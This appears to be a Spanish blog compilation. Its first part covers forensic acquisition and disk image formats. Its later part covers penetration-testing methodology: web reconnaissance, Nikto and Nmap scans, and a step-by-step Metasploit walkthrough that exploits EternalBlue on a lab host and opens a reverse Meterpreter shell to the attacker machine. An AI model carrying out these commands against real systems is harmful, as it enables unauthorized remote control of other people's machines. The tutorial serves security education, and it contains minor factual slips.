blog

En el lado positivo de la adquisición forense en vivo, desconectar o interrumpir el fluido electrónico de una computadora, laptop, servidor u otro, elimina la necesidad de interactuar con la máquina en funcionamiento. Interactuar con una computadora en funcionamiento, de cualquier manera causa cambios hacia el sistema. Cualquier cambio en una pieza de evidencia es inadecuado, y puede causar problemas mayores desde el punto de vista legal. Estas alteraciones pueden poner en duda la integridad de la evidencia contenida en un sistema en funcionamiento, comparado con el sistema en reposo o apagado. Incluso cuando una máquina está solo funcionando, las cosas están cambiando. Cuando una persona interactúa con la máquina funcionando, incluso más cosas cambian. Estos cambios no son buenos desde la perspectiva forense, consecuentemente es fácil percibir la razón de lo atractivo de cortar o interrumpir el fluido eléctrico. De otro lado, estos cambios pueden no tener ningún tipo de impacto en los artefactos relevantes al caso. No obstante el sistema está cambiando en cada momento.

Pero el escenario donde se desconecta el enchufe, o interrumpe el fluido eléctrico tiene desventajas significativas.

Para empezar, desconectar el enchufe implica cualquier evidencia en la memoria RAM estará bajo una amenaza real de destrucción. Los datos en la RAM comienzan a disiparse o desaparecer cuando se retira el suministro eléctrico. Existe una técnica para preservar los datos en memoria después de cortar el suministro electrónico, pero no es algo ampliamente aceptado.

En lo referente a la encriptación. El sistema o archivos pueden estar encriptados mientras la máquina está en funcionamiento. El desconectar abruptamente el suministro electrónico, podría devolver el sistema al estado de encriptación, poniendo potencialmente la evidencia fuera del alcance del profesional forense. Evitar la encriptación, es una buena idea en cualquier momento y escenario.

En otro escenario, una perdida repentina de fluido eléctrico, podría dañar los datos, o dejarlos imposibilitados de ser leídos.

También es factible; ante una perdida de fluido eléctrico, alguna evidencia importante no se haya grabado en el disco, a menos que o hasta la computadora se apague correctamente.

La “vieja” solución de desconectar el enchufe o cortar el fluido eléctrico, no es la única opción viable en la actualidad. Ahora las herramientas y técnicas forenses capturan la memoria volátil desde un sistema en funcionamiento, respetando las buenas práctica forenses. Con estos avances, actualmente se debe reconocer las ventajas de una recolección de evidencia desde un sistema en funcionamiento.

Fuentes:

https://en.wikibooks.org/wiki/Introduction_to_Digital_Forensics/Acquisi…
https://ijcsit.com/docs/Volume%208/vol8issue3/ijcsit2017080331.pdf

El resultado final de realizar el proceso para la creación de una imagen forense desde un dispositivo de almacenamiento sospechoso, generalmente es un archivo conteniendo una copia exacta del dispositivo de origen. Este archivo puede tener diferentes formatos. Siendo la extensión del archivo, la manera más viables de indicar su formato. Algunos de los formatos de imágenes forenses más comunes son:

• EnCase (Extensión .E01)
• DD (Extensión .001 o .dd)
• AccessData Custom Content Image (Extensión .AD1)

Formato de Imagen de EnCase

Quizás el estándar de facto para el análisis forense en las fuerzas legales, EnCase Forensics de Guidance Software utiliza un formato cerrado para las imágenes forenses. Este formato está basado en el Formato de Compresión de Testigo Experto de Datos ASR. El archivo de Evidencia de EnCase (.E01) contiene un flujo de bits físicos del disco adquirido, prefijado con una cabecera “Case Info”, entrelazado con sumas de verificación (Adler-32) para cada bloque de 64 sectores (32 KB), seguido por un pie conteniendo un hash MD5 de todo el flujo de bits. Contenido en la cabecera está la fecha y hora de la adquisición, el nombre del examinador, notas de la adquisición, y una contraseña opcional. Adicionalmente contiene información del caso

No únicamente el formato es factible de ser comprimido, sino también es factible de buscar en él. La compresión está basada en bloques, y tablas de salto, además “archivos punteros” son mantenidos en la cabecera del formato o entre bloques “para mejorar la velocidad”. Las imágenes del disco pueden ser divididas en múltiples segmentos de archivos (Para archivo en CD o DVD).

Hasta la versión 5 de EnCase los segmentos de archivos no podían ser mayores de 2 GB. Esta restricción fue removida en la versión 6 de EnCase.

El formato restringe el tipo y cantidad de metadatos asociados con una imagen. EWF Extendido (EWF-X) definido en el proyecto libewf, proporciona una solución para esta restricción, especificando una nueva cabecera y sección hash (resumen), utilizando una cadena XML para almacenar metadatos. Estos archivos EWF-X E01 son compatibles con EnCase y permiten almacenar más metadatos.

Aunque algunos han realizado ingeniería inversa al formato por cuestiones de compatibilidad. Las extensiones de Guidance Software siguen siendo cerradas.

Formato de Archivo en Bruto

Este formato es una copia bit a bit en bruto del original. Este es frecuentemente acompañado con metadatos almacenados en formatos separados.

Existen diferencias en los formatos, pero todos ellos cumplen las buenas prácticas forenses. Algunos como DD, son open source o de fuente abierta, mientras otros como E01 son propietarios. Seleccionar un formato u otro depende generalmente de las preferencias, pues la mayoría de herramientas forenses pueden leer y escribir múltiples formatos de imágenes forenses.

Además de cumplir con las buenas prácticas forenses, otra principal consideración se relaciona con la capacidad de las herramientas utilizadas puedan leer las imágenes forenses. La documentación incluida con la herramienta debe proporcionar esta información. También la compatibilidad es importante, siendo esto especialmente cierto cuando se intercambian archivos entres profesionales forenses.

Fuentes:

https://www.forensicswiki.org/wiki/Category:Forensics_File_Formats
https://www.forensicswiki.org/wiki/Dcfldd
https://www.guidancesoftware.com/
https://github.com/libyal/libewf

El proceso para crear una imagen forense desde un dispositivo de almacenamiento como un disco duro, debería ser un proceso bastante sencillo, al menos en teoría. Típicamente se creará la imagen forense desde un dispositivo de almacenamiento hacia otro. El dispositivo de almacenamiento original es conocido como el dispositivo de origen, y el dispositivo donde se creará la imagen forense, se denomina el dispositivo destino. La unidad de destino debe ser tan grade (sino más grande), comparado con el dispositivo origen. Aunque no siempre esto es posible, conocer el tamaño del origen por adelantado es lo ideal, pues tener un dispositivo de almacenamiento con el tamaño correcto, ahorrará mucho tiempo e inconvenientes .

El dispositivo de almacenamiento desde el cual se realizará la imagen forense (origen), normalmente es retirado de la computadora. Se conecta luego mediante un cable hacia un dispositivo de algún tipo para realizar la imagen forense, o hacia otra computadora. Es crítico tener algún tipo de bloqueador de escritura implementado antes de iniciar el proceso. Un bloqueador de escritura es una pieza crucial de hardware o software, el cual es utilizado para salvaguardar la evidencia original, durante el proceso de creación de la imagen forense. El bloqueador de escritura por hardware es colocado entre el dispositivo a utilizar para crear la imagen forense (Computadora, laptop, o hardware autónomo), y el origen. El bloqueador de escritura previene cualquier dato sea escrito hacia el dispositivo de evidencia original. Utilizando este tipo de dispositivos, se elimina la posibilidad de comprometer inadvertidamente la evidencia. Recordar, el dispositivo bloqueador de escritura por hardware se ubica entre el dispositivo de origen y la plataforma utilizad para crear la imagen forense.

Existe un pequeño trabajo de preparación involucrado en el proceso de crear una imagen forense. El dispositivo destino debe estar limpio desde la perspectiva forense, antes de almacenar allí la imagen forense. La mayoría, sino todas las herramientas para crear imágenes forenses, generan algún tipo de registro o rastro, lo cual demuestra el proceso de limpieza se ha realizado. Esta documentación se convierte en parte del archivo correspondiente al caso.

Una vez se han realizado las conexiones, se inicia el proceso con la presión de un par de botones o haciendo algunos clics con el ratón. Cuando se ha completado, un reporte corto será generado por la herramienta, indicando si la creación de la imagen forense ha sido exitosa o no. La creación de una imagen forense es exitosa cuando los valores hash (son como una huella digital), para el dispositivo origen y destino coinciden.

Fuentes:

https://www.digitalforensics.com/blog/how-to-make-the-forensic-image-of…
https://www.guidancesoftware.com/tableau/hardware
https://www.forensicswiki.org/wiki/Hashing

Como ya se debe conocer sobre el ámbito forense, la evidencia digital es extremadamente volátil por naturaleza. Y como tal, nunca se debe realizar un examen o análisis sobre la evidencia original, a menos se esté en circunstancia muy exigentes donde no haya otra opción disponible. Estas circunstancias peculiares, podrían incluir situaciones en las cuales un niño ha sido raptado. Algunas veces no existen herramientas o técnicas para poder resolver este problema.

Examinar o analizar el archivo conteniendo la imagen forense obtenida desde un dispositivo de almacenamiento, proporciona la posibilidad de tener una solución viable, en caso algo saliese mal. Si fuese posible, el dispositivo de almacenamiento original debe ser preservado en un lugar seguro, y únicamente se recurrirá a él, en caso se necesite generar una nueva imagen forense.

Los dispositivos de almacenamiento, como los discos duros, pueden fallar. El tener dos imágenes forenses, proporciona la capacidad de examinar o analizar uno de ellos, mientras se tiene al otro para recurrir en caso se suscite algún inconveniente. Idealmente todo el análisis forense se realiza sobre las imágenes forenses, y nunca sobre el dispositivo de almacenamiento original.

Algunas veces; como ya se ha mencionado; esta no es una opción, especialmente en una configuración especial; donde la máquina debe ser nuevamente puesta en funcionamiento.

Desde la perspectiva legal; como por ejemplo un juzgado o corte judicial; una imagen forense debidamente autenticada, es tan buena como la evidencia original.

Fuentes:

https://www.sans.org/reading-room/whitepapers/incident/overview-disk-im…
https://forensicswiki.org/wiki/Disk_image

Existen muchas maneras de realizar el reconocimiento de una aplicación web, para encontrar todos los recursos relacionados. Quizás la guía más común es, “entender completamente como se comporta una aplicación”, y de esta manera estar en la mejor posición posible para la fase de explotación. El reconocimiento de una aplicación web incluye actividades como:

• Localizar los puntos de entrada (campos de entrada HTML como en campos de formularios, campos ocultos, cajas desplegables, y listas de botones de radio).
• Inspeccionar las cabeceras HTTP, cookies HTTP, y cadenas de consulta en la URL.
• Rastrear los parámetros en la URL y el cuerpo de una petición utilizando el método POST, para ver como la aplicación interactúa con la base de datos.
• Realizar una revisión sobre la funcionalidad del lado del cliente, tanto en HTML y JavaScritpt.
• Identificar los esquemas de codificación utilizados.

Ciertamente estas actividades son muy valiosas si se está interesado en ganar un profundo conocimiento de una aplicación web, pero esto requiere la inversión de un tiempo considerable, experiencia, y conocimientos sobre programación, siendo todo esto confortable para ataques más avanzados, los cuales golpean la lógica de la aplicación web. No se incluyen estas actividades en la etapa de reconocimiento, en lugar de ello, se enfoca en las vulnerabilidades las cuales son fácilmente detectables y explotables utilizando las herramientas disponibles.

Se realizan las actividades del reconocimiento utilizando herramientas para “spidering”, las cuales pueden ser configuradas para ejecutarse automáticamente o manualmente, de tal manera sea fácil descubrir los recursos de una aplicación web objetivo. Los recursos descubiertos durante el reconocimiento serán utilizados durante el escaneo, para buscar vulnerabilidades en una aplicación web, de una manera similar a como se identifican vulnerabilidades a nivel del servidor web.

Fuentes:

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

Las fases de reconocimiento y escaneo para la aplicación web, proporcionan información detallada sobre los recursos (páginas, archivos, directorios, enlaces, imágenes, etc.), los cuales constituyen la aplicación web. Existen partes muy importantes de información las cuales pueden ser utilizadas durante la posterior explotación de la aplicación web.

Realizar un reconocimiento de la aplicación web, implica descubrir cada recurso el cual interactúa con la aplicación, de tal manera luego se pueda escanearlos por vulnerabilidades. Únicamente los recursos descubiertos durante la fase de reconocimiento serán escaneados, de tal manera es crítico encontrar tantos recursos como sea posible. Las herramientas utilizadas en el reconocimiento y escaneo de la aplicación web incluyen:

• Un proxy para la interceptación, el cual catalogue cada petición HTTP y HTTPS enviado desde el navegador, y cada posible respuesta entregada por la aplicación web.
• Una herramienta para spidering, el cual realiza peticiones automáticas hacia la aplicación web, de tal manera no se tenga un error humano al solicitar cada posible recurso.
• Un escaner de vulnerabilidades específico para aplicaciones web, para buscar en los recursos catalogados por vulnerabilidades identificables.
• Una herramienta para fuerza bruta, de tal manera se descubran directorios comúnmente utilizados en las aplicaciones web, los cuales pueden revelar más recursos.
• Un mapa del sitio de todos los recursos catalogados, de tal manera pueda ser hecho un reconocimiento manual e inspección sobre recursos de particular interés.

Fuentes:

https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

A continuación se presenta un proceso ligero para utilizar algunos comandos de Metasploit Framework, los cuales son muy útiles para la fase de explotación.

• Search: Busca por todos los exploits en la base de datos de Mestasploit Framework, basándose también en identificadores como CVE.
• Use: Define la utilización de un exploit, el cual se ajuste mejor al requerimiento.
• Show Payloads: Muestra los payloads disponibles para el exploit seleccionado.
• Set Payload: Define la utilización de un payload para el exploit seleccionado.
• Show Options: Visualiza las opciones necesarias las cuales deben ser configuradas como parte del payload seleccionado.
• Set Options: Asigna valores a todas las opciones necesarias, las cuales deben estar presentes para el éxito del payload.
• Exploit: Envía el exploit previamente configurado hacia el sistema objetivo.

Para empezar es necesario iniciar el servicio postgresql, para luego iniciar Metasploit Framework. Esto es bastante sencillo, pues únicamente se debe escribir en el terminal el comando “msfconsole”. Esto debe demorar alrededor de un minuto. También se sugiere actualizar frecuentemente Metasploit Framework, pues constantemente se incluyen nuevos módulos.

# service postgresql start
# msfconsole

Search (Buscar)

La primera tarea es encontrar los exploits disponibles en Metasploit Framework. El exploit a buscar es uno con el identificador CVE-2017-0144, o más conocido como “EternalBlue” (MS17-010). EternalBlue explota una vulnerabilidad en la implementación del protocolo (SMB) Server Message Block. Esta vulnerabilidad existe porque el servidor SMB v1 (SMBv1) en varias versiones de Microsoft Windows maneja mal paquetes especialmente diseñados por atacantes remotos, permitiendo ejecutar código arbitrario sobre la computadora objetivo.

msf > search eternalblue

Se sugiere utilizar el rango del exploit como una guía para seleccionarlo. Cada exploit tiene uno de siete posible rangos; excelente (mejor elección), grandioso, bueno, normal, promedio, bajo, y manual (peor elección). Un rango bajo del exploit, implica la probabilidad de causar algún daño en el objetivo, o no estar en la capacidad de entregar el payload seleccionado.

Use (Usa)

Una vez se han revisado todos los posibles exploits en Metasploit Framework, y decidido cual es la mejor elección para el objetivo de evaluación, se debe utilizar el comando “use” para indicarle al framework su utilización.

msf > use exploit/windows/smb/ms17_010_eternalblue

Notar como el prompt cambia, lo cual indica la utilización del exploit seleccionado.

Show Payloads (Mostrar Cargas)

Este comando muestra todos los posibles payloads o cargas útiles, factibles de ser utilizados con el exploit seleccionado.

msf exploit(windows/smb/ms17_010_eternalblue) > show payloads

Una rápida revisión sobre los rangos de estos payloads, no proporciona guía sobre cual de estos seleccionar, pues todos son “normales”. Esto es bueno, pues se puede intentar un exploit varias veces con diferentes payloads de ser necesario.

Set Payload (Seleccionar Carga)

Conociendo cuales payloads están disponibles para explotar la vulnerabilidad, es momento de seleccionar un payload. Para el siguiente ejemplo se utiliza un payload de nombre “Meterpreter”, el cual funciona de manera “inversa”, es decir, una conexión se establecerá desde la victima hacia el atacante. Lo cual podría minimizar la probabilidad de ser detectado por un sistema para la detección de intrusiones.

msf exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

Show Options (Mostrar Opciones)

Cada exploit y payload tienen opciones específicas, las cuales son necesarias de definir para su satisfactorio funcionamiento. En muchos casos, sólo es necesario definir las direcciones IP de la máquina objetivo y la máquina atacante. La máquina objetivo se conoce como el host remoto (RHOST), mientras la máquina atacante se conocer como host local (LHOST). Para el presente ejemplo el comando proporciona los siguientes detalles sobre el exploit y el payload.

msf exploit(windows/smb/ms17_010_eternalblue) > show options

Aquí hay tres opciones importantes las cuales se deben definir; RHOST para definir la dirección IP del objetivo en evaluación (victima), LHOST para definir la dirección IP del host local o atacante, y LPORT para definir el puerto local donde se recibirá la conexión entrante. Aunque esta última opción podría utilizarse con su definición por defecto.

Set Option (Ajustar Opción)

Se necesitan asignar todos los valores requeridos para las opciones del exploit y payload. Si se dejasen en blanco, el exploit fallaría porque no contiene la información necesaria para funcionar completamente.

msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.0.70
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.0.78

Luego de esto se sugiere utilizar el comando para verificar la correcta definición de las opciones.

msf exploit(windows/smb/ms17_010_eternalblue) > show options

Exploit (Explota)

Si todo lo anterior se ha realizado correctamente, simplemente al escribir el comando “exploit”, se explotará satisfactoriamente el sistema objetivo, recibiendo una shell de Meterpreter para controlar remotamente la máquina comprometida.

msf exploit(windows/smb/ms17_010_eternalblue) > exploit

Con estos fundamentos sobre la explotación utilizado Metasploit Framework, también se sugiere desarrollar habilidades con otros módulos, como también el conocer como realizar una explotación manual.

Fuentes:

https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalb…
https://en.wikipedia.org/wiki/EternalBlue
https://www.offensive-security.com/metasploit-unleashed/msfconsole-comm…

La explotación es el momento donde toda la información recopilada, los escaneo de puertos, y los escaneos de vulnerabilidades incrementan su valor, pudiendo ser factible ganar acceso no autorizado o ejecutar comandos remotos en la máquina objetivo. Uno de los objetivos de la explotación en red, es ganar derechos con nivel administrativo sobre la máquina objetivo (el servidor web en este ámbito), y ejecutar consecuentemente código. Una vez esto ocurre, el atacante tiene un completo control de la máquina, y es libre de completar cualquier acción, lo cual usualmente incluye añadir usuarios, añadir administradores, instalar localmente herramientas de hacking adicionales, para penetrar más profundamente dentro de la red (conocido esto como “pivoting”), e instalar puertas traseras, lo cual permitirá conexiones persistentes hacia esta máquina explotada. Una puerta trasera persistente es como crear una llave hacia la casa para ganar entrada.

En esta etapa generalmente se utiliza la herramienta Metasploit Framework. La cual es un marco o estructura de trabajo desarrollado por HD More, siendo ampliamente aceptada como la principal herramienta open source o de fuente abierta para realizar la explotación. Metasploit Framework proporciona una manera estructurada para explotar sistemas, permitiendo a la comunidad de usuarios desarrollar, probar, desplegar, y compartir exploits. Una vez se entienden las bases de Metasploit Framework, se puede utilizarlo efectivamente durante muchos trabajos de hacking ético, sin importar el sistema objetivo.

Antes de interactuar con Metasploit Framework se necesitan asimilar ciertas definiciones, pues estos conceptos son fundamentales para realizar la explotación.

• Vulnerabilidad: Una potencial debilidad en el sistema objetivo. Puede ser un parche pedido, el uso de una función débil conocida, una pobre implementación, o un uso incorrecto de un lenguaje compilado, o cualquier otro potencial problema el cual un atacante puede aprovechar.
• Exploit: Una colección de código el cual entrega un “payload” o carga hacia el sistema objetivo.
• Payload: El objetivo final de un exploit es generar la ejecución de un código maliciosos sobre el sistema objetivo. Algunas payloads populares incluyen una shell enlazada (cmd en Windows o bash en Linux), una shell inversa (cuando la victima realiza una conexión hacia el atacante, lo cual es menos factible de ser detectado), inyección VNC para permitir un control remoto de escritorio, o añadir un administrador hacia el sistema objetivo.

Fuentes:

https://github.com/rapid7/metasploit-framework

Nikto es una escaner de vulnerabilidades Open Source o de fuente abierta, el cual está escrito en el lenguaje Perl, siendo originalmente publicado en el año 2011. Nikto proporciona la capacidad de escanear servidores web en busca de vulnerabilidades. Realiza más de 6,400 verificaciones por archivos o scripts potencialmente peligrosos, realiza 1,200 pruebas para versiones desactualizadas de servidores, y verifica cerca de 300 problemas específicos a versiones de servidores web.

La manera de ejecutar Nikto es a través de una línea de comando en la terminal. Para los siguientes ejemplos se utilizarán dos opciones; la opción “-h” la cual define la dirección IP o nombre del host a escanear, y la opción “-p” la cual define el número de puerto donde se ejecuta un servidor web.

# nikto -h 192.168. 0.70 -p 80

Los resultados de este escaneo revelan un Servidor Microsoft-IIS/7.5, algunos temas relacionados a las cabeceras de respuesta devueltas, y los métodos HTTP permitidos y públicos.

# nikto -h 192.168. 0.70 -p 5985

Los resultados de este escaneo revelan un Servidor Microsoft-HTTPAPI/2.0 y temas relacionados a las cabeceras de respuesta devueltas.

# nikto -h 192.168. 0.70 -p 8282

Los resultados de este escaneo revelan un Servidor Apache-Coyote/1.1, temas relacionados con las cabeceras de respuesta devueltas, temas de métodos potencialmente peligrosos, y algunos archivos o directorios informativos o de riesgo, como por ejemplo la identificación de credenciales por defecto para la consola de administración de Apache Axis2.

# nikto -h 192.168. 0.70 -p 8484

Los resultados de este escaneo revelan un Servidor Jetty(winstone-2.8), temas relacionados con las cabeceras de respuesta devueltas, directorios potencialmente peligrosos; como por ejemplo el acceso hacia una consola de gestión Jenkins/Hudson sin autenticación.

# nikto -h 192.168. 0.70 -p 8585

Los resultados de este escaneo revelan un servidor Apache/2.2.21 (Win64), tecnologías relacionadas, temas relacionados con las cabeceras de respuesta devueltas, y temas relacionados a potenciales vulnerabilidades RFI o de inclusión remota de archivos.

# nikto -h 192.168. 0.70 -p 9200

Los resultados de este escaneo no revelan ningún banner de respuesta, algunos temas relacionados con las cabeceras de respuesta devueltas, y una gran cantidad de potenciales temas de seguridad o vulnerabilidades identificadas.

Todos estos hallazgos deben ser verificados manualmente, pues podrían ser falsos positivos generadas por la herramienta de nombre Nikto.

# nikto -h 192.168. 0.70 -p 47011

Los resultados de este escaneo revelan un Servidor Microsoft-HTTPAPI/2.0 y temas relacionados a las cabeceras de respuesta devueltas.

Nikto utiliza los códigos de OSVDB (Open Source Vulnerability Database), para proporcionar información sobre las vulnerabilidades descubiertas. El 5 de abril del año 2016 esta base de datos fue cerrada, aunque el blog debería continuar activo.

Fuentes:

https://cirt.net/Nikto2
https://cirt.net/nikto2-docs/
https://blog.osvdb.org/
https://en.wikipedia.org/wiki/Open_Source_Vulnerability_Database

Una de las maneras en la cual la herramienta Nmap ha expandido su funcionalidad, es la inclusión de scripts para realizar escaneos especializados. Simplemente se debe invocar al script y proporcionar los argumentos necesarios para utilizarlo. Nmap Scripting Engine (NSE) maneja esta funcionalidad, y afortunadamente tiene muchos scripts específicos para el ámbito web listos para ser utilizados. Al momento de realizar la presente publicación, existen casi 600 scripts, 591 para ser exactos. De todos estos scripts, 132 están relacionados al servicio “http”.

Para invocar a los scripts NSE se utiliza la opción “--script” seguido del nombre del script como parte de la sintaxis de Nmap.

Para el siguiente ejemplo se ejecuta el script de nombre “http-robots.txt”. Este script verifica por entradas deshabilitadas contenidas en el archivo “robots.txt” sobre un servidor web.

# nmap -n -p- -sV --script=http-robots.txt 192.168. 0.70

De los resultados devueltos, únicamente se obtuvo el archivo “robots.txt” del servicio ejecutándose en el puerto TCP 8484, el cual corresponde a Jetty winstone-2.8.

Ahora se procede a ejecutar el script de nombre “http-headers”. Este script realiza una petición HEAD hacia el directorio raíz (“/”) de un servidor web y muestra las cabeceras HTTP devueltas.

# nmap -n -p- -sV --script=http-headers 192.168. 0.70

De los resultados obtenidos se verifican las cabeceras devueltas por un servidor web ejecutándose en el puerto TCP 80 y un servidor ejecutándose en el puerto TCP 3000.

Un servidor web ejecutándose en el puerto TCP 4848, un servicio web en el puerto TCP 5985, y un servidor web ejecutándose en el puerto TCP 8022.

Un servidor web ejecutándose en el puerto TCP 8080 y un servicio ssl ejecutándose en el puerto TCP 8181.

Un servidor web ejecutándose en el puerto TCP 8282 y un servidor web ejecutándose en el puerto TCP 8484.

Un servidor web ejecutándose en el puerto TCP 8585, un servicio web ejecutándose en el puerto TCP 9200, y un servicio web en el puerto TCP 47001.

Existen también scripts para tratar de identificar vulnerabilidades, como el script de nombre “http-slowloris-check”. Este script verifica el servidor web para un ataque de Negación de Servicio de nombre Slowloris, pero sin lanzar el ataque DoS. Esta ataque DoS para el software, permite a una única computadora traer abajo el servidor web.

# nmap -n -p- -sV --script=http-slowloris-check 192.168.0.70

De los resultados obtenidos se muestra un mensaje “State: LIKELY VULNERABLE”. Este resultado significa un servidor está sujeto a un ataque de extensión para tiempo de espera, pero dependiendo de la arquitectura y limite de recursos, un ataque de negación de servicio no siempre es posible. La prueba completa requiere activar la condición de negación de servicio y medir la respuesta del servidor.

Este estado se encuentra el el servicio web ejecutándose en el puerto TCP 4848 y servicio VNC HTTPS ejecutándose en el puerto TCP 5800.

El mismo resultado se obtiene para el servicio web ejecutándose en el puerto TCP 5985 y el servidor web ejecutándose en el puerto TCP 8080.

Finalmente el servicio web SSL ejecutándose en el puerto TCP 8443 y servidor web ejecutándose en el puerto TCP 8585.

Los hallazgos obtenidos utilizando la herramienta Nmap desde el escaneo de puertos, se enlazan directamente con las siguientes etapas, donde se ejecutan herramientas automáticas para el escaneo e identificación de vulnerabilidades a nivel del servidor web.

Fuente:

https://nmap.org/
https://nmap.org/nsedoc/
https://nmap.org/nsedoc/scripts/http-robots.txt.html
https://nmap.org/nsedoc/scripts/http-headers.html
https://nmap.org/nsedoc/scripts/http-slowloris-check.html